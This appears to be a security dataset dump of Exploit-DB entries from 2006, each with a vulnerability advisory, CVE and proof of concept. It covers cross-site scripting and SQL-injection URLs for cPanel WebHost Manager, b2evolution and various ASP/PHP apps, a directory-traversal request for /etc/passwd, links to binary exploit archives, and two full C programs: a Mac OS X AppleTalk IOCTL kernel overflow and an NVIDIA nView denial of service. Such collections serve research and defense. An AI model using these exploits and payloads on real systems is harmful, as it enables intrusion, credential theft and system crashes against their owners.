QLWD/code_shield huggingface dataset:
标题: b2evolution 1.8.2/1.9 - '_410_stats_gone.page.php?app_name' Cross-Site Scripting EDB-ID: 29199 CVE: 2006-6197 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/21334/info
 
The b2evolution application is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
This issue affects b2evolution versions 1.8.2 to 1.9 beta.

http://<www.example.com>/<b2epath>/inc/VIEW/errors/_410_stats_gone.page.php?app_name=[XSS] URL: https://www.exploit-db.com/exploits/29199
标题: Apple Mac OSX 10.4.x - AppleTalk AIOCRegLocalZN IOCTL Stack Buffer Overflow EDB-ID: 29194 CVE: 2006-6130 类型: LOCAL 平台: OSX 发布日期: 2006-11-27 漏洞利用脚本: // source: https://www.securityfocus.com/bid/21317/info

Apple Mac OS X is prone to a local memory-corruption vulnerability. This issue occurs when the operating system fails to handle specially crafted arguments to an IOCTL call. 

Due to the nature of this issue, an attacker may be able to execute arbitrary machine code in the context of the affected kernel, but this has not been confirmed. Failed exploit attempts result in kernel panics, denying service to legitimate users.

Mac OS X version 10.4.8 is vulnerable to this issue; other versions may also be affected.

/*
 * Copyright 2006 (c) LMH <lmh@info-pull.com>.
 * All Rights Reserved.
 * ----           
 *
 *               .--. .--.           _____________________________________
 *          _..-: (X :  o :-.._     / heya! me Gruber Duckie. I'm an über |
 *      .-''    `.__.:.__.'    ``-./___    proud zealot and Mac Beggar!   |
 *    .'          .'   `.          `.  \__________________________________|
 *   :  '.        :     :        .'  ;  (...fear my Delusional Zealot Army !)
 *   :    :-..__  `.___.'  __..-;    ;
 *   `.    `.   ''-------''   .'    ,'
 *     `.    `.             .'    .' 
 *       `._   `-._     _.-'   _.'   kudos to ilja, kevin, hdm, johnnycsh, et al.
 *          `-._   '"'"'   _.-'      proof of concept for MOKB-27-11-2006.
 *              ``-------''
 */

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdarg.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/sockio.h>

typedef struct at_state {
 unsigned int flags;
} at_state_t;

/* if testing on PPC, you need to use the proper values. read netat/at_var.h */
#undef AF_APPLETALK
#define AIOCGETSTATE 0x8021610b /* get AT global state */
#define AIOCREGLOCALZN 0x8021610b
#define AT_ST_STARTED 0x0001
#define AF_APPLETALK 0x10

char powder[4096];

unsigned long do_semtex(char *p, size_t len) {
 int i;
    size_t longsize = sizeof(long);
    unsigned long *daringwussball;

 daringwussball = (unsigned long *)p;
 for (i = 0; i < len; i+=longsize) {
  *daringwussball++ = 0x61;
 }

 return (unsigned long)&powder;
}

int main(int argc, char **argv) {
        int fd;
        at_state_t global_state;
  unsigned long pkt;

        if ((fd = socket(AF_APPLETALK, SOCK_RAW, 0)) < 0)
                exit(1);

  /* check if AppleTalk stack has been started */
        if (ioctl(fd, AIOCGETSTATE, &global_state) < 0) {
                close(fd);
                exit(2);
        }

        if (global_state.flags & AT_ST_STARTED) {
                printf("appletalk-exploit-1: 0x%08x\n", global_state);
        } else {
                printf("appletalk-exploit-1: AppleTalk isn't enabled!\n");
                exit(3);
        }

  pkt = do_semtex(powder, sizeof(powder));
  ioctl(fd, AIOCREGLOCALZN, pkt);

        close(fd);
        return 0;
} URL: https://www.exploit-db.com/exploits/29194
标题: cPanel WebHost Manager 3.1 - 'park?ndomain' Cross-Site Scripting EDB-ID: 29188 CVE: 2006-6198 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/21288/info
     
WebHost Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
WebHost Manager version 3.1.0 is vulnerable; other versions may also be affected.

http://www.example.com:2086/scripts/park?domain=demo.com&ndomain=XSS URL: https://www.exploit-db.com/exploits/29188
标题: cPanel WebHost Manager 3.1 - 'addon_configsupport.cgi?supporturl' Cross-Site Scripting EDB-ID: 29183 CVE: 2006-6198 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/21288/info
 
WebHost Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
WebHost Manager version 3.1.0 is vulnerable; other versions may also be affected.

http://www.example.com:2086/cgi/addon_configsupport.cgi?cgiaction=save&supportaddy=Domain.name&emailpipecmd=Domain.name&displaybrowserbody=1&displaybrowsersubject=1&displaydomainbody=1&displaydomainsubject=1&displayhostnamebody=1&displayhostnamesubject=1&displayipbody=1&displayipsubject=1&displayuserbody=1&displayusersubject=1&type=redirect&supporturl=XSS URL: https://www.exploit-db.com/exploits/29183
标题: Clickblog - 'Displaycalendar.asp' SQL Injection EDB-ID: 29192 CVE: 2006-6189 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21310/info

Clickblog is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/displayCalendar.asp?date=[SQL Injection] URL: https://www.exploit-db.com/exploits/29192
标题: Apple Mac OSX 10.4.x - Mach-O Binary Loading Integer Overflow EDB-ID: 29190 CVE: 2006-6129 类型: LOCAL 平台: OSX 发布日期: 2006-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/21291/info

Apple Mac OS X is prone to a local integer-overflow vulnerability. This issue occurs when the operating system fails to handle specially crafted binaries. 

A successful exploit would allow a local attacker to execute arbitrary code with kernel-level privileges, leading to the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29190.bz2 URL: https://www.exploit-db.com/exploits/29190
标题: Fixit iDms Pro Image Gallery - 'showfile.asp?fid' SQL Injection EDB-ID: 29179 CVE: 2006-6195 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/21282/info
 
Fixit iDMS Pro is prone to multiple input-validation vulnerabilities, including SQL-injection issues and an HTML-injection issue, because the application fails to properly sanitize user-supplied input. 
 
Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/path/showfile.asp?fid=[SQL Injection] URL: https://www.exploit-db.com/exploits/29179
标题: cPanel WebHost Manager 3.1 - 'domts2?domain' Cross-Site Scripting EDB-ID: 29185 CVE: 2006-6198 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/21288/info
   
WebHost Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
WebHost Manager version 3.1.0 is vulnerable; other versions may also be affected.

http://www.example.com:2086/scripts2/domts2?domain=XSS URL: https://www.exploit-db.com/exploits/29185
标题: ClickContact - 'default.asp' Multiple SQL Injections EDB-ID: 29191 CVE: 2006-6181 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21302/info

ClickContact is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/default.asp?view=alpha&AlphaSort=[SQL Injection]
http://www.example.com//default.asp?In=[SQL Injection]
http://www.example.com/default.asp?view=All&orderby=[SQL Injection] URL: https://www.exploit-db.com/exploits/29191
标题: cPanel WebHost Manager 3.1 - 'editpkg?pkg' Cross-Site Scripting EDB-ID: 29184 CVE: 2006-6198 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/21288/info
  
WebHost Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
WebHost Manager version 3.1.0 is vulnerable; other versions may also be affected.

http://www.example.com:2086/scripts/editpkg?pkg=XSS URL: https://www.exploit-db.com/exploits/29184
标题: Fixit iDms Pro Image Gallery - 'filelist.asp' Multiple SQL Injections EDB-ID: 29178 CVE: 2006-6195 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/21282/info

Fixit iDMS Pro is prone to multiple input-validation vulnerabilities, including SQL-injection issues and an HTML-injection issue, because the application fails to properly sanitize user-supplied input. 

Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/path/filelist.asp?parentid=0&show_id=[SQL INJECTION]
http://www.example.com/path/filelist.asp?parentid=[sql injection]&show_id=1 URL: https://www.exploit-db.com/exploits/29178
标题: cPanel WebHost Manager 3.1 - 'editzone?domain' Cross-Site Scripting EDB-ID: 29186 CVE: 2006-6198 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/21288/info
    
WebHost Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
WebHost Manager version 3.1.0 is vulnerable; other versions may also be affected.

http://www.example.com:2086/scripts/editzone?domain=XSS URL: https://www.exploit-db.com/exploits/29186
标题: fipsShop - Multiple SQL Injections EDB-ID: 29189 CVE: 2006-6243 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/21289/info

fipsShop is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/path/index.asp?cat=[SQL INJECTION]
http://www.example.com/path/index.asp?page=detail&did=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29189
标题: cPanel WebHost Manager 3.1 - 'dofeaturemanager?feature' Cross-Site Scripting EDB-ID: 29187 CVE: 2006-6198 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/21288/info
     
WebHost Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
WebHost Manager version 3.1.0 is vulnerable; other versions may also be affected.

http://www.example.com:2086/scripts2/dofeaturemanager?action=addfeature&feature=XSS URL: https://www.exploit-db.com/exploits/29187
标题: cPanel WebHost Manager 3.1 - 'dochangeemail?email' Cross-Site Scripting EDB-ID: 29182 CVE: 2006-6198 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/21288/info

WebHost Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

WebHost Manager version 3.1.0 is vulnerable; other versions may also be affected.

http://www.example.com:2086/scripts2/dochangeemail?user=demo&domain=demo.com&email=XSS URL: https://www.exploit-db.com/exploits/29182
标题: PMOS Help Desk 2.3 - 'ticket.php?email' Cross-Site Scripting EDB-ID: 29166 CVE: 2006-6158 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/21250/info
 
InverseFlow Help Desk is prone to multiple cross-site scripting vulnerabilities.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Version 2.31 is vulnerable to these issues; other versions may also be affected. Ace Helpdesk and PMOS Helpdesk have also been confirmed to be vulnerable to these isssues.
 
http://www.example.com/support_path/ticket.php?email=[xss] URL: https://www.exploit-db.com/exploits/29166
标题: MMGallery 1.55 - 'Thumbs.php' Cross-Site Scripting EDB-ID: 29177 CVE: 2006-6118 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/21281/info

The mmgallery script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.55 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/thumbs.php?page='> URL: https://www.exploit-db.com/exploits/29177
标题: Nvidia NView 3.5 - 'Keystone.exe' Local Denial of Service EDB-ID: 29170 CVE: 2006-6340 类型: DOS 平台: WINDOWS 发布日期: 2006-11-23 漏洞利用脚本: // source: https://www.securityfocus.com/bid/21260/info

NVIDIA nView is prone to a local denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected computer, denying service to legitimate users.

/*
NVIDIA nView (keystone) local Denial Of service
(c)oded By Hessam-x / www.Hessamx.net
*/

#include <stdio.h>
#include <string.h>
#include <windows.h>
int main()
{


char junk[] = "a";
char box[650];

 char *buf;

 int i;
        printf("-:: NVIDIA nView (keystone) Denial Of service \n");
        printf("-:: Coded By Hessam-x / www.hessamx.net \n");
    strcpy(box,"a");
        for (i = 0; i < 600; i++) {
          strcat(box,junk);
        }
         buf = (char *) malloc(650);


strcpy (buf,"keystone\t");
strcat (buf,box);
buf[650-1]='\0';

WinExec(buf,0);
free(buf);
} URL: https://www.exploit-db.com/exploits/29170
标题: PMOS Help Desk 2.3 - 'ticketview.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29165 CVE: 2006-6158 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/21250/info

InverseFlow Help Desk is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 2.31 is vulnerable to these issues; other versions may also be affected. Ace Helpdesk and PMOS Helpdesk have also been confirmed to be vulnerable to these isssues.

http://www.example.com/support_path/ticketview.php?id=[xss]
http://www.example.com/support_path/ticketview.php?email=[xss]
http://www.example.com/support_path/ticketview.php?cmd=deletepost&id=[xss]
http://www.example.com/support_path/ticketview.php?cmd=deletepost&email=[xss] URL: https://www.exploit-db.com/exploits/29165
标题: Simple PHP Gallery 1.1 - 'System SP_Index.php' Cross-Site Scripting EDB-ID: 29175 CVE: 2006-6272 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/21278/info

Simple PHP Gallery is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.1 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/sp_index.php?dir=[xss] URL: https://www.exploit-db.com/exploits/29175
标题: MidiCart ASP - 'Item_Show.asp?ID2006quant' SQL Injection EDB-ID: 29174 CVE: 2006-6209 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/21273/info

MidiCart ASP is prone to an SQL injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/path/item_show.asp?id2006quant=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29174
标题: ASP ListPics 5.0 - 'Listpics.asp' SQL Injection EDB-ID: 29176 CVE: 2006-6210 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/21279/info

ASP ListPics is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

ASP ListPics version 5.0 is vulnerable.

http://www.example.com/path/listpics.asp?a=show&ID=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29176
标题: Apple Mac OSX 10.4.8 - UDTO Disk Image Remote Denial of Service EDB-ID: 29161 CVE: 2006-6062 类型: DOS 平台: OSX 发布日期: 2006-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/21236/info

Apple Mac OS X is prone to a remote denial-of-service vulnerability when handling specially crafted UDTO disk image files.

Successfully exploiting this issue allows remote users to crash affected computers, denying service to legitimate users. Attackers may also be able to exploit this issue for remote code execution, but this is reportedly unlikely.

Mac OS X 10.4.8 is vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29161.dmg.bz2 URL: https://www.exploit-db.com/exploits/29161
标题: Business Objects Crystal Reports XI Professional - File Handling Buffer Overflow EDB-ID: 29171 CVE: 2006-6133 类型: REMOTE 平台: WINDOWS 发布日期: 2006-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/21261/info

Business Objects Crystal Reports XI Professional is prone to a buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

An atacker may exploit this issue by enticing a victim user into opening a malicious document file, resulting in the execution of arbitrary code with privileges of the vulnerable application. Failed exploit attemtps will likely result in denial-of-service conditions.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29171.rpt URL: https://www.exploit-db.com/exploits/29171
标题: My Little Weblog 2006.11.21 - 'Weblog.php' Cross-Site Scripting EDB-ID: 29162 CVE: 2006-6087 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/21238/info

My Little Weblog is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input to the 'action' parameter of the 'weblog.php' script.

www.example.com/weblog.php?action="><script>alert('XSS')</script>< URL: https://www.exploit-db.com/exploits/29162
标题: Wabbit PHP Gallery 0.9 - 'Dir' Directory Traversal EDB-ID: 29145 CVE: 2006-6185 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21213/info

Wabbit PHP Gallery is prone to a directory-traversal vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker can exploit this issue to retrieve the contents of arbitrary files in the context of the webserver process. Information obtained may aid in further attacks.

http://www.example.com/index.php?dir=../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/29145
标题: CreaDirectory 1.2 - 'search.asp?category' SQL Injection EDB-ID: 29154 CVE: 2006-6083 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/21230/info

Creascripts creadirectory is prone to multiple input-validation vulnerabilities, inculding SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 1.2 is vulnerable; other versions may also be affected.

http://www.example.com/search.asp?search=1&submit=Search&category='[sql] URL: https://www.exploit-db.com/exploits/29154
标题: CreaDirectory 1.2 - 'search.asp?search' Cross-Site Scripting EDB-ID: 29156 CVE: 2006-6082 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/21230/info
  
Creascripts creadirectory is prone to multiple input-validation vulnerabilities, inculding SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
Version 1.2 is vulnerable; other versions may also be affected.

http://www.example.com/search.asp?search=[xss] URL: https://www.exploit-db.com/exploits/29156